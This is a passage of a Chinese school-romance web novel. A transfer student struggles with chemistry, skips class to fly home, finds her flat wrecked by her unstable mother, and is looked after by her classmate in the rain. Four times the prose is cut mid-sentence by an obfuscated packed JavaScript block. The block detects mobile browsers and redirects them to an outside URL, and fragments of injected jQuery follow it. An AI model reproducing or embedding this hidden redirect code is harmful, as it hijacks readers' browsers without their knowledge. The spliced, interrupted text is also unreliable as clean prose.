这一坐,也不可避免地看到了傅弦音上半节晚自习的“成果”。 “化学……必修一?” 林安旭看着桌面上摊开的课本,有些讶异:“美女姐姐复习这么……”他想了半天措辞,最后憋出了个—— “这么细致的吗?” 第一章在一轮复习里几乎都是一笔带过,而傅弦音认真的就好像头一次学一样。 她文具少,一共就红蓝黑三支笔,外加一把笔芯和铅笔橡皮。 此刻摊开的习题上,满是被蓝黑标记的重点。 洗完脸回来的傅弦音看见桌前的林安旭,她敲了敲林安旭的肩膀,指尖的水珠滴答在了桌上:“来,让个座,我收拾东西回宿舍了。” 林安旭笑着指着桌上的化学书,问道:“美女姐姐,你……不能是偏科吧。” 傅弦音到没避讳这个,直接爽快承认了: “昂,对,就是偏科。” 她一边把书往书包里塞,一遍笑道:“不瞒你说,我这辈子化学就没及格过。” 这是实话。 林安旭说话不拐弯,想问什么就直接问出口了。闻言他道:“那你还选化学?” 说完,他感觉自己被旁边的人睨了一眼。 他瞬间紧张了一下,以为碰到了傅弦音的什么逆鳞。 只见傅弦音神色如常:“没办法嘛,家里人让的。” 林安旭看向睨他的罪魁祸首,满脸写着:这不是很正常的理由吗,你瞪我干什么。 顾临钊没说话,收拾着包。 正收拾着,前面忽然传来一声叫喊:“音音,你等我一下,咱俩一块回去。” 是程昭昭的声音。 傅弦音看了眼时间,回了句好,索性坐在椅子里开始查回市的机票。 明天上午倒是有一班去的,下午有一班返程,刚好可以当天来回,但是明天上午是化学课,傅弦音不想翘掉化学课。 那就只有周五晚上那一班了。 傅弦音快速定好了机票了往返的机票,刚付款成功,她抬头就看到林安旭已经冲着走来的程昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060437|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做鬼脸: “磨蹭鬼,略略略。” 程昭昭抄起一本书就要往林安旭头上砸:“林安旭!多大的人了,你幼稚不幼稚!” 书本在脑袋上发出清脆的敲击声,林安旭疼得龇牙咧嘴,程昭昭见状带了几分胜利状撇了撇嘴,自然地挽上傅弦音的胳膊:“音音,咱们走,不理他。” 傅弦音看得直好笑,她顺从地被程昭昭拉出了教室,还不忘回头看看捂着头的林安旭。 夜晚的校园满是刚下晚自习的学生,路灯把两人的影子拉长。 在树叶窸窣声中,忽然一道不明显的“咕噜”声传来。 傅弦音转头看向程昭昭,后者不好意思地捂着肚子:“哎呀,晚自习消耗太大,我饿了。” 傅弦音:“食堂关门了吗?小卖部呢?” 程昭昭:“食堂关门了,小卖部十点半关,现在刚过十点,音音你饿不饿,要不要一块去买点吃的。” 晚自习下课确实容易饿,反正宿舍里也不查零食,不如多买点面包饼干什么的屯着。 于是傅弦音想了想,说道:“我也饿,我们一起去买。” “好耶!” 程昭昭兴奋地蹦了起来,脚步都加快了些:“快走快走,晚了人超级多,排队都要排好久。” 两人在小卖部采购了满满两大袋子的食物,程昭昭一路上嘴就没停过,一直在跟傅弦音介绍哪个面包更好吃,那个酸奶更好喝。 傅弦音按照她的推荐全都买了一堆,打算回宿舍囤着。 “音音,你跟谁一起住呀?” 程昭昭拆了一包面包,给傅弦音掰了一半,而后边啃边问道。 傅弦音接过面包,道:“我没室友,我自己住。” “哇塞。”程昭昭发出羡慕的声音:“这也太好了,我也想自己住。” 程昭昭是个小话痨,话匣子一开就停不下来:“不过我其实也快了,我现在是四人间,我,宋瑶歌,还有两个外班的舞蹈生,宋瑶歌也是舞蹈生,她们马上就集训了,寝室马上就是我自己一个人的了!” “哎,不过我胆子有点小,我怕到时候我自己一个人睡会害怕。” 话音刚落,身后就传来了林安旭欠欠的声音:“啊,没想到啊,程昭昭,你居然还会害怕?” 说着,一只手飞快地伸过来,抢走了程昭昭手里的最后一口面包。 “林安旭!” 程昭昭拽住他的耳朵,叫到:“还我面包!” 林安旭嘴里塞得鼓鼓囊囊:“到了我嘴里就是我的了。” 两人打闹着跑远了,程昭昭还不忘跟傅弦音嘱咐:“音音你先上去不用等我,看我不揍死他!” 傅弦音弯弯唇角,拎着零食袋子正准备走,忽然看到了不远处的顾临钊。 傅弦音从袋子里掏出了两盒饼干两块面包,小跑了过去。 “刚摔了腿,慢点。” 顾临钊有些无奈地看着她,伸手拦了一下。 傅弦音刚好把饼干面包递到他手上。 “谢谢班长,又帮我买题又帮我带饭。等我腿好了,我请班长吃饭。” 傅弦音笑眯眯:“还希望班长在我腿好之前少扣我点分。” 顾临钊轻笑:“这算贿赂?” 傅弦音正色:“当然不算,这算我心地善良。” “班长和我同桌整整一天了,没发现我是个心地善良的人吗?” 8. 谢谢班长 “音音,你来好早啊。” 程昭昭打着哈欠从后门走进教室,还不忘塞给傅弦音一瓶酸奶:“来这么早,是不是没吃饭,诺,喝瓶酸奶。” 傅弦音笑笑,接过了酸奶,道了声谢。 她确实没吃早饭,不过不是因为起得早,是因为一直都没有吃早饭的习惯。 她昨晚问了顾临钊他们现在化学一轮复习复习到了哪里,回宿舍后,看化学看到了两点,今早6点就起床来了教室早读,继续看化学。 今天早读是英语,如果英语老师不下来巡逻,那傅弦音就能在第一节课之前补完化学的进度了。 可惜,天不遂人愿。 英语老师从进教室就没停过,甚至还时不时还拉几个同学抽背一下单词。 看化学肯定是没戏了,傅弦音叹了口气,把之前买的四级词汇拿出来背。 英语老师转过来了。 于代芹看着傅弦音手里的四级词汇,屈起手指,指节轻轻扣了扣傅弦音的桌子,说道:“你跟我出来一下。” 和班主任高颖还有语文老师徐寻菱比起来,于代芹看起来年轻些。 两人在对面空教室坐下,于代芹看着傅弦音:“昨天转来的新同学?” 傅弦音乖乖点头。 于代芹问:“之前在哪读书?今年高考模拟卷做过了吗?英语多少分?” 傅弦音一个一个答:“之前在山省临澜市,今年高考模拟卷英语考了142。” 于代芹闻言挑了挑眉毛:“不错啊,今年英语还蛮难的。我看你刚才已经在背四级词汇了,以后早读你把课本单词过一遍之后,想背四级词汇还是自己刷阅读理解,我都不管你。” 傅弦音眼睛亮了亮:“谢谢老师。” 于代芹:“但是啊,毕竟是我的英语早读,不能学别的科目。” 她起身,将椅子放回原处,傅弦音跟着她回到了教室,在进门之前,于代芹说:“月考还有两个星期,期待你英语成绩哦。” 傅弦音点点头:“我会努力的。” 早读时间过得很快,下课铃声响,林安旭几乎是和于代芹一起起的身。 于代芹似笑非笑地瞪了林安旭一眼,见怪不怪地离开了教室。 下一节课是化学,傅弦音争分夺秒地拿起化学课本继续看。 林安旭本来要过来找傅弦音和顾临钊聊天,看见傅弦音拿出化学课本学习后,脚步拐了个弯,走向程昭昭犯贱去了。 “咚——” 后门被人大力打开,两声洪亮的击掌声几乎是擦着傅弦音耳朵发出。 一个气若洪钟的中年男人走进教室,他拍了拍课本,声音像从丹田传来般:“来来来,都回座位了,高三了一个个还这么闹,像什么样子。” 刚经历过于代芹的温和,傅弦音看着化学老师,直觉他是个脾气不好的人。 几乎是印证了傅弦音的话,上课没多久老师就开始开火车式提问,提问的内容刚好是傅弦音还没看到的那一部分。 好巧不巧,连续提问了两排,站了将近10个人,化学老师的手点到了傅弦音这一排。 完蛋了。 傅弦音心想。 刚才提问的内容大概百分之四十她都答不上来,剩下能答上来的百分之六十,也只有一半是在他规定时间内答出来的。 眼看着就要到自己了,傅弦音深吸一口气,在化学老师叫到“下一个”的时候,站了起来。 化学老师头都没抬,问道:“碱性氧化物有三点共性,来三二一,说。” 这个知识点她记得。 傅弦音道:“可溶于水的碱性氧化物溶于水生成碱;碱性氧化物与酸性氧化物反应生成含氧酸盐;碱性氧化物与酸反应生成盐和水。” “嗯,不错。” 化学老师满意地点点头,目光在对上傅弦音时压抑了一瞬:“哟,你瞧着脸生,新同学?” 傅弦音点点头:“是的老师,我是昨天刚转来的,我叫傅弦音。” 就以为傅弦音以为老师打算让她坐下时,化学老师忽然不走寻常路地说了一句:“新同学啊,再奖励一个问题吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060438|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “铝合铜与稀硝酸反应产物有什么特征?” 完蛋。 大脑一片空白。 焦头烂额之际,傅弦音看到面前的笔记本上被人用铅笔写了一个字——“量”。 前面还打了个叉。 记忆一瞬间接通,傅弦音道:“产物不随量的改变而改变。” “不错。”化学老师顺口又问:“那随着量改变的呢?” 靠。 傅弦音脑子要炸了。 只见余光中出现了一只白皙的手,骨节分明的手指捏着她的铅笔,轻轻在草稿纸上写下: Na. Fe. 傅弦音:“钠和铁。” “不错。”化学老师满意地点点头,终于说出了傅弦音心心念念的那三个字:“坐下吧。” 傅弦音如临大赦,舒了口气,坐下了。 铅笔被顾临钊板板正正地摆在了笔记本边上,傅弦音悄悄侧头看,顾临钊手中握着自己的笔,正在看着化学习题。 丝毫看不出这个人刚才给她透答案。 如果不是笔记本上明显字迹不相同的两行淡淡铅笔印,傅弦音几乎都以为是自己的幻觉。 她拿起铅笔,在笔记本上轻轻写: [谢谢班长。] 而后连本子带笔一起推到顾临钊那里。 顾临钊指尖按住笔记本,顿了顿,就当傅弦音以为他要松开时,只见他指尖忽然用力,将本子往他的方向微微挪了几厘米。 而后他拿起那只笔,在傅弦音的字迹下写到: [不谢,好好学习。] 傅弦音偷偷笑了笑。 前面那些站着的倒霉蛋挡了一点她的视线,傅弦音有些费力地看清了老师的板书,她抓过铅笔本子准备记笔记,忽然发现那句[不谢,好好学习。]后面还有一句话。 是顾临钊不知什么时候又添的。 手中的金属铅笔上还残余着身旁少年的体温。 本子上,清隽的字迹写道: [如果有不会的,可以问我。] 9. 翘课 在北川一中的一周过得很快。 学习氛围比临澜一中浓重不少,傅弦音感觉这种氛围在临澜一中出现时已经都快要到一模前后了。 而北川才高三刚开学不到一个月。 这周刚好是大休,傅弦音在中午午休的时候提前收拾好了短程的行李,打算一下晚自习直接打车去机场。 晚自习9点50结束,而傅弦音的票是10点45,时间还是有点赶的。 保险起见是她请最后一节晚自习的假,但是北川请假需要家长和老师说明。 而陈慧梅和傅东远都不知道傅弦音要回一趟临澜市,傅东远是绝对不会帮傅弦音干这种小事,陈慧梅则是这几天精神状态不稳定,傅弦音怕她知道自己要回临澜她又开始发疯。 按照陈慧梅的疯样子,保不齐她能直接把她那些笔记错题集全都烧掉也不是不可能。 出乎意料的,在最后一节晚自习铃声响起后一直过了10分钟,傅弦音身边的那个座位都是空的。 没了顾临钊随时给她扣分,傅弦音偷偷摸摸拿出手机,给林安旭发了条消息: [顾临钊哪去了?] 大休前最后的晚自习,林安旭心思也没在学习上。 他几乎秒回: [他定了机票今晚去临澜市,10点45的票吧,晚自习下课再去学校门口肯定堵车来不及。] 傅弦音五味杂陈。 顾临钊这人是真的稳,做人稳,做事也稳。 平时就是个稳如泰山的性子,晚自习永远是先写完作业,然后再刷自己的题。 而傅弦音在临澜一中就养成了按照第二天课表写作业的坏习惯,早上没物理当天晚上就不写物理作业,宁愿刷数学的课外题也不写。 这坏习惯导致了但凡老师临时换课,她就完蛋。 赶飞机也是。 同一班飞机,顾临钊就不会赌那一点迟到或者不迟到的可能性,他直接选择风险最小的路。 赌狗心态。 傅弦音这么评价自己。 她拿着手机,悄咪咪打字问林安旭: [大休前老师会在下课前几分钟来学校吗?] 晚自习不是每一节都有老师看,一般晚自习前10分钟没老师进来那就说明当节晚自习没有老师看。 林安旭: [不会,都和平时一样。] 他发了个贱兮兮的表情,而后: [美女姐姐,你不会打算……] 傅弦音: [小伙子真是聪慧有前途。] [姐打算把这节课翘了。] 林安旭: [牛逼.jpg] [姐你放心,顾临钊那我帮你瞒着。] 顾临钊那边没问题。 傅弦音打定主意,趁着还没放学,学校门口还没堵车,她赶紧打了辆去机场的车。 她就赌今天高姐放学前不会来教室。 最后一排逃课极其方便,傅弦音收拾好了书包,静悄悄地溜出了教室,而后去宿舍拿了箱子,接着去了上次翻墙的围墙那里。 她把长袖外套脱了,一端系在行李箱把手上,一端缠在手腕上,而后踩着搭好的砖块,轻轻一跃,双手扒着围墙边缘略一使劲,整个人就翻了上去。 行李箱算不上轻,把傅弦音手腕上勒出了红痕,傅弦音甩了甩手腕,把用外套把行李箱拉了上来,在准备扔到墙下时,她突然条件反射般看了眼墙下。 这是上次翻墙被顾临钊当场逮到的心理阴影在作祟。 好在这次什么都没有。 傅弦音顺利地翻过了墙,顺利地上了车,9点50不到,傅弦音就顺利地到了机场。 她打算先过安检,然后在别的登机口等到登机再过去。 这样就能避免跟顾临钊碰面,哪怕碰面了,她也可以说自己是生死时速赶过来的。 闲着也是闲着,傅弦音找了个桌子,拿出化学卷子开始写。 离月考还有一周半,化学在这周已经把月考之前的内容全都学完了,因此这张卷子已经算是月考模拟卷了。 傅弦音尝试着闭卷做。 20分钟过去,她发现闭卷的情况下她大部分都写不出来。 有些知识她甚至能记得是在课本的那一页,那页是什么颜色的,有什么图案,她是用什么颜色的笔记。 可最关键的知识点偏偏就是记不清。 无奈,她打开课本和笔记,开卷把选择题全都写完后,傅弦音把书包收拾好,准备登机。 把机票出示给空姐,空姐笑容满面道:“17K,女士,请往后走。” 15,16…… 17!?? 和17K一同出现的,是一张熟悉的人脸。 顾临钊?? 不会吧,不会点这么背吧。 空姐打开了行李架的盖子,听见声音的顾临钊遂而抬头。 于是两人四目相对。 傅弦音扯出了个笑,说道: “好巧啊,班长。” 顾临钊撇到了傅弦音校裤膝盖上一块不明显的灰,似笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060439|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非笑地勾了勾唇角。 他没刨根问底那块灰的来历,而是道:“是挺巧的,你是17K?” 傅弦音点点头,坐在顾临钊边上的中年女人笑道:“是临钊的同学?来临钊,你坐里面,和同学坐一起吧。” 顾临钊没拒绝,两人起身,让傅弦音先进去,顾临钊坐过来的时候,傅弦音才看到他手里竟然也拿了化学试卷。 只不过和她那个大片空白的化学试卷不同,顾临钊那张已经写了大半了。 她看到了顾临钊的试卷,顾临钊自然也看到了她的。 少年身子朝他这里倾了倾,声音直直灌进傅弦音耳朵里:“需要给你讲吗?” 旁边顾临钊的家人听到了这句话,似是不相信顾临钊会主动帮助同学似的,饶有兴致地朝顾临钊这里瞥了一眼。 傅弦音看了眼自己的卷子,道:“等会吧,我再写写,不会了再问你。” 自从那天顾临钊在纸上给她写了不会的可以问他之后,傅弦音真就没跟他客气,这两天问了他许多题。 顾临钊点了点头,继续做自己的卷子。 傅弦音也翻着课本和笔记,艰难地往下写。 写了不知道多久,突然,顾临钊屈起手指在她小桌板上敲了敲,道:“要起飞了。” “哦。” 傅弦音收好小桌板,抱着书本和卷子。 她专注力很高,有的时候专注了会听不见外界的声音,刚才恐怕就是没听见广播说的收起小桌板。 嗡鸣的引擎仿佛就在傅弦音的耳畔,她看着飞机一点点飞向夜空,远离满地的灯火通明。 她放下小桌板,继续磕磕绊绊写起了卷子。 等把会的都写完之后,离落地临澜市只剩半小时了。 旁边的顾临钊戴着耳机背单词,感受到傅弦音的视线,他摘下耳机,道:“写完了?” 晚班的飞机,客舱里的灯都灭了。 顾临钊的声音压的很低,字字敲进傅弦音耳中,把她耳廓敲出了点点酥酥麻麻的痒意。 她圈了几道题,把卷子递给顾临钊。 引擎的嗡鸣让傅弦音有些听不清顾临钊的声音,她不由得往他身边靠了靠。 于是两人的手臂短暂相触,随着顾临钊写字的动作,复又分开,再又碰到。 肌肤之间的接触短暂而又密切,少年手臂温热,碰到她冰凉的小臂分外明显。 引擎的声音,真的有点太大了。 傅弦音想。 她脑子里,完全不知道顾临钊在讲些什么了。 10. 雨夜 好在顾临钊一边讲一边写,哪怕傅弦音当时没听进去,过后看笔记也能看懂。 飞机在临澜市上空盘旋,空姐照例过来提醒收起小桌板。傅弦音这次反应很快,她看着顾临钊讲完最后一道题,啪地把笔记本一合,而后将小桌板收好。 顾临钊好笑道:“这次听见了?” 傅弦音:…… 这人在骂她,绝对。 10点45的航班,到临澜市已经是12点多。 顾临钊的家长看起来很温柔,下飞机时还专门让顾临钊帮傅弦音拉行李箱。 傅弦音不习惯,笑着拒绝了。 女人也没再强求,顾临钊自己拉着行李在前,他家长在后面温和地和傅弦音聊天。 女人:“刚才在飞机上看你们两个学习,我就没问,你叫什么呀?” 傅弦音:“我叫傅弦音,弦乐的弦,音乐的音。” 女人笑道:“我是顾临钊的大伯母,这次是回临澜市跟顾临钊探亲。” 她问:“这么晚了,有没有人来接呀?” 傅弦音顿了一下,她脑子里快速过了一下每一种回答的可能性,道: “没事的阿姨,我自己回去就好。” 大伯母不放心:“这么晚了,阿姨送送你吧。” 算了,送就送吧。 傅弦音把酒店地址发给了顾临钊。 顾临钊点开,看见目的地在地图显示为静远酒店。 夜班的临澜市道路畅通无阻,没多久,出租车就抵达了静远酒店。 顾临钊帮傅弦音把行李搬下来,傅弦音接过行李,还没等顾临钊说话就抢先开口:“我自己上去就行了,时间不早了,你和阿姨赶紧先回去吧。” 说完,她和大伯母打了声招呼,拎着行李箱就走进了酒店。 车辆行驶,大伯母道:“她是你之前说新转来的同桌?从哪转来的来着?” 顾临钊:“……临澜一中。” 大伯母“呀”了一声:“那她就是临澜人呀。” 三两句的功夫,大伯母就将傅弦音想象成了一个可怜孩子。 可不是吗?家就在临澜,回家没个家里人跟着不说,到了临澜还住酒店,如果不是她说要送,这孩子恐怕得自己拎着行李箱自己过来。 小姑娘这么独立,可十七八岁的年纪,独立成这样并不是什么好事。 大伯母叹道:“这孩子。” 另一边,傅弦音洗完澡,躺在床上。 静远酒店是傅东远在临澜的产业,他在酒店里给傅弦音留了间房。还在临澜的时候,每当陈慧梅发疯,傅弦音就会来静远酒店住。 好处是自己一个人能得点清净,坏处是静远在市中心,离她初高中都有点距离。 傅弦音打算周六先回家把笔记收了,再把之前走得匆忙没来得及收的东西收一下。 她回程的机票是在周日下午,剩下的时间傅弦音打算在疗养院度过。 做好计划,傅弦音关灯睡觉。 一觉睡到11点半。 这半周在北川一中,傅弦音每天都睡不了几个小时。 她简单洗漱过后,拉着行李箱打车去了之前在临澜一中住过的家。 周六中午的临澜一中刚好处于放学的阶段,车子在路口就被堵住了,外面大太阳晒着,傅弦音不想走路。她忽略了前面司机师傅想要和她进行的眼神交流,靠在后排,闭幕养神。 大约堵了半个多小时,车子才缓缓驶进小区。 傅弦音拉着行李箱上了楼。 站在家门前,她深吸一口气,做好心理准备后,掏出钥匙,拧开门锁—— 等等,不大对劲。 她迅速拉着行李箱离开了家门,而后躲在楼梯间,从门缝内鬼鬼祟祟地往外看。 她是周一离开的临澜市,当时是傅弦音关的门,她印象很清楚,她绝对锁门了。 可是刚才开门的时候,钥匙只拧了一道就开了。 有人回来过,甚至可能是刚走。 傅弦音的心落了落。 除了陈慧梅,没人会来这里。 她不知道陈慧梅为什么又会回这里,又或者陈慧梅在她转学之后接着就回了临澜也说不准。 自从转学去了北川一中,傅弦音天天住校,再也没见过陈慧梅。 临澜一中是走读制的,傅弦音那时候天天回家,免不了天天见陈慧梅。 陈慧梅正常的时候只会问她学习成绩,而发疯起来就会不管不顾。 曾经有一次,傅弦音下晚自习回家后,发现陈慧梅不知是受了什么刺激,把她书架上的书全都撕了。 卧室一地纸屑,陈慧梅一本不剩,从课外小说乃至学习教辅资料甚至傅弦音的笔记本全都撕了个干净。 当时傅弦音高三,所有的课本以及她需要的大部分的笔记和资料都被她放到学校了。因此陈慧梅发疯对她的影响也没那么大。 可是现在不一样,她所有需要的资料和笔记都在这里,陈慧梅如果发疯都撕了的话—— 叮—— 电梯的声音打乱了傅弦音的思绪,从楼梯走廊的门缝中,傅弦音看见陈慧梅从电梯出来。 她头发凌乱,厚重的妆花了大半,遮不住她脸上明显的皱纹和疲态。 这样的陈慧梅……是不正常的时候。 傅弦音眼看着人走进了门内,接着就拎着行李箱,蹑手蹑脚地又往上爬了一层楼。 像个特务。 傅弦音这么评价道,而后又不禁觉得好笑。 明明只是来拿她需要的学习资料,怎么好像是要拿什么危险的绝对机密文件一样。 房子的隔音效果很好,傅弦音听不到陈慧梅在里面干了什么。 许久,傅弦音才看见陈慧梅从屋内走出。 她钥匙拧了两圈,是锁上门的意思。 傅弦音掐着表,20分钟后,才拎着行李箱从楼梯间走出去。 她深吸一口气,拿着钥匙,打开了锁上的房门。 屋内一片狼藉。 摔碎的花瓶和茶几碎片一起,混了一地玻璃渣。 沙发被人用利器划破,里面的棉絮翻了出来,像是被开膛破肚内脏流了一地的鱼。 地上几乎没有能下脚的地方,一地的玻璃渣子,踩上去发出清脆的碎裂声。 傅弦音怀揣着最后一丝希望,抱着行李箱,跨过一地狼藉,走向她的房间。 满地稀碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060440|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纸屑仿佛在嘲笑她怀揣希望是多么愚蠢的行为,被撕去内页的笔记本残缺地躺在地上,断口处的狰狞像极了疯狂指责她的陈慧梅。 傅弦音叹了口气。 她将行李箱摊开,走进屋内,仔仔细细地检查着每一本书。 情况比她想象的好。 她的本子大多都是页数多,纸质厚,装订密实的。陈慧梅撕起来费劲,因此有几个本子其实只是被陈慧梅撕去了几页,剩下的粘粘还能用。 拾掇了半天,傅弦音收拾出来一个数学错题本,一个生物错题本,还有一个生物的笔记本。 一共就三个本子,傅弦音用塑料袋将笔记本包好,而后往卧室外走去。 行李箱的轮子挡住了她的脚步,傅弦音一个没察觉,直接被行李箱轮子绊倒。 原本就没完全愈合的膝盖再度被碎玻璃划伤,傅弦音看着自己旧伤未愈又添新伤的膝盖,叹了口气。 她所性就在原地坐了一会。 黄昏斜斜打进屋内,一寸一寸地将傅弦音的眼前染上暖调的橘红。 可橘红转瞬即逝,很快又被暗色吞噬。 傅弦音揉了揉有些酸痛的脚踝,提起行李箱,摸索着走向玄关。 她最后看了一眼这间屋子,而后“嘭——”地一声,关上了门。 * 临澜一中旁不远就是河边。 过去三年,傅弦音在河边消磨掉了数个难熬的夜。 她在学校边的诊所买了些处理伤口的药物,拎着行李箱,沿着那条走过无数的路,慢慢悠悠地溜达着。 周围是准备去上晚自习的学生,傅弦音逆着人流,拖着行李箱,感受到周围传来的视线。那些视线略带探究,可并不在她身上停留太久。 傅弦音忽然有些恍惚。 她像是来到了异世界的旅客,又或者是在异乡的行人,独独不像是他们的同学、同龄人。 行李箱的轮子在凹凸不平的地面发出阵阵响声,傅弦音走出了人群,走出了异世界,走到了自己熟悉的河边。 潮湿的空气涌入鼻腔,傅弦音坐在河边低矮的石栏杆上,冰凉的河水浸没她的小腿。 她看着河水冲击在石壁上,而后退回,荡出阵阵涟漪。 她裸露在外的腿上被溅到了星星点点的水滴,水波越来越大,水滴溅落的范围也越来越大。 从小腿,到大腿,到手臂。 直到头顶传来冰冷的凉意时,傅弦音才后知后觉地反应过来。 是下雨了啊。 然而。 几乎是这个念头出现的瞬间。 雨停了。 不对,不是雨停了。 河面明明还没平静,雨声明明还没消失。 她抬头,视线落入了一双熟悉的眸子。 顾临钊锋利的眉头微微皱着,眼睫轻垂,一双清澈深褐色的眸中倒映她有些狼狈的脸。 傅弦音后知后觉自己现在看起来有多么不堪。 雨夜,河边,独自一人的少女。 怎么说怎么不对劲。 她开口想要解释,然而少年有些无奈的声音更先一步钻进她耳廓。 他说:“傅弦音,你怎么总是受伤?” 11. 上药 傅弦音有些愣。 干涩的眼球被眼眶涌出的温热的液体浸润,她眨了眨眼睛,眼底泛着水光。 原本要用来解释的话就这么卡在了喉咙里。 她就这么仰着脸,直勾勾地看着顾临钊。 两人沉默地对视了许久,终于,顾临钊轻轻叹了口气,伞面朝着傅弦音的方向倾斜了些许。他半蹲下来,视线和傅弦音齐平,冷白的手指指向傅弦音身后的塑料袋,而后勾了勾,道: “拿来。” 傅弦音听话地拿了袋子。 顾临钊把伞塞给她,看着傅弦音有些精神恍惚的样子,又叹了口气,嘱咐道:“伞拿稳,我给你上药。” 傅弦音扯了扯唇角:“班长,你怎么老叹气。” 顾临钊轻笑一声,镊子捏着碘伏棉球轻轻沾在傅弦音的伤口处,看着面前的少女疼得龇牙咧嘴,他挑了挑眉梢: “还不是你看着不省心。” 白嫩的膝盖淤青一层有一层,而淤青之上则是一片稀碎的伤口。 顾临钊换了三四个棉球才擦干净已经干涸的血迹。 傅弦音坐在河边,一只脚还在河水里,另一只腿则为了方便顾临钊给她上药,朝一旁歪了歪。 她看着少年乌黑的发顶,忽然听见他开口:“怎么又不说话了。” 傅弦音张了张嘴:“……谢谢班长?” 顾临钊:…… 他强忍住叹气的冲动:“不是让你说这个。” 他抬头,傅弦音清晰地看到他眼底的笑意:“平时在学校里那些伶牙俐齿的劲呢?” 傅弦音撇撇嘴:“你都说了是在学校里,这不早出学校了。” “况且,”她顿了顿,认真地看向顾临钊:“班长你这是拐着弯骂我呢,你怎么比我还记仇。” “我哪骂你了?” 傅弦音:“你就有,你骂我平时在学校跟你顶嘴,骂我不遵守校规校纪,骂我目中无人,骂我无法无天。” 少年声音无奈:“我就说你一句伶牙俐齿,怎么到了你耳朵里生出这么多意思来。” 傅弦音笑:“我说了啊,因为我无法无天。” 顾临钊抬头,对上她有些狡黠的目光,只见她眨了眨眼,道:“班长骂对了,我确实无法无天。” 膝盖的伤被顾临钊认真包扎好,用过的碘伏棉球也被他用纸巾包好,放在了塑料袋里。 他自然地从傅弦音手里接过伞,伞面却依然保持着朝傅弦音倾斜的角度。 他揶揄道:“还要在这里再淋会雨吗?” 傅弦音:…… 她为自己在雨中静坐的行为做出苍白的解释:“我只是出门忘带伞了而已。” 顾临钊:“你出门不看天气预报?” 傅弦音:…… 妈的,这天聊不下去了。 她从前怎么没发现顾临钊这人嘴这么毒? 经顾临钊这么一打岔,傅弦音也没了再待的想法。 她撑着石头站起身,顾临钊虚虚地在她胳膊下扶了一下,在她站稳的瞬间又收回了手。 束好的长发被雨打得微湿,傅弦音将发圈刷下,随便捋了两把头发,歪着脑袋看顾临钊:“班长呢,想去哪?” 顾临钊想了想:“喝奶茶吧。” 傅弦音笑眼弯弯:“和我想到一块去了。” * 晚自习时间到,临澜一中的校门口也变得安静了许多。 奶茶店里没什么人,傅弦音走到前台,问顾临钊:“班长想喝什么,我请你。” 顾临钊扫了一眼菜单,开口:“两杯杨枝甘露,加脆啵啵。” 傅弦音挑挑眉,没说什么。 两杯杨枝甘露很快就做好,傅弦音坐在窗边,喝了一大口,满足地眯了眯眼。 顾临钊唇角弯了弯。 他这个同桌,吃到好吃的一脸饕足,平日里眼睛眨一眨就是一脸狡黠。 猫儿似的。 还是脾气不大好的那种。 他抿了一口自己的,再抬头就对上了傅弦音亮晶晶的双眼。 直觉告诉顾临钊,他这同桌打算搞点事情。 顾临钊扬扬下巴:“说。” 傅弦音嘿嘿一笑,道:“班长,打个商量好不好。” “回北川后能不能把你笔记和错题本借我复印一下。” “可以,”顾临钊问:“哪科,哪一部分。” 傅弦音有些不好意思道:“全部,可以吗?” 顾临钊有些讶异地看了她一眼,而后说:“可以,不过全部的话复印要比较久,我最近可能没什么时间。” 她和顾临钊一班飞机回北川,到北川就是周日下午,接着就要回学校上晚自习了。 确实是没什么时间。 傅弦音:“月考之前的就行,剩下的可以拖到国庆放假。” 顾临钊点点头,看着傅弦音面前已经空了一半的杯子,忽然问道:“你晚饭吃了吗?” 傅弦音迟疑地指了指面前的杨枝甘露:“现在,正在吃。” 顾临钊捏了捏眉心,再此往前追溯:“午饭呢?” 傅弦音灵活使用语言的艺术:“我睡觉起来就是中午了。” 得,也是没吃的意思。 不光是脾气不好的猫,还是不爱吃食儿的猫。 他认命地起身,留下一句:“我去便利店给你买点,你在这待着。”而后就撑伞出去了。 傅弦音心想,他没说我去买几个橘子,你在此处不要走动,已经很礼貌了。 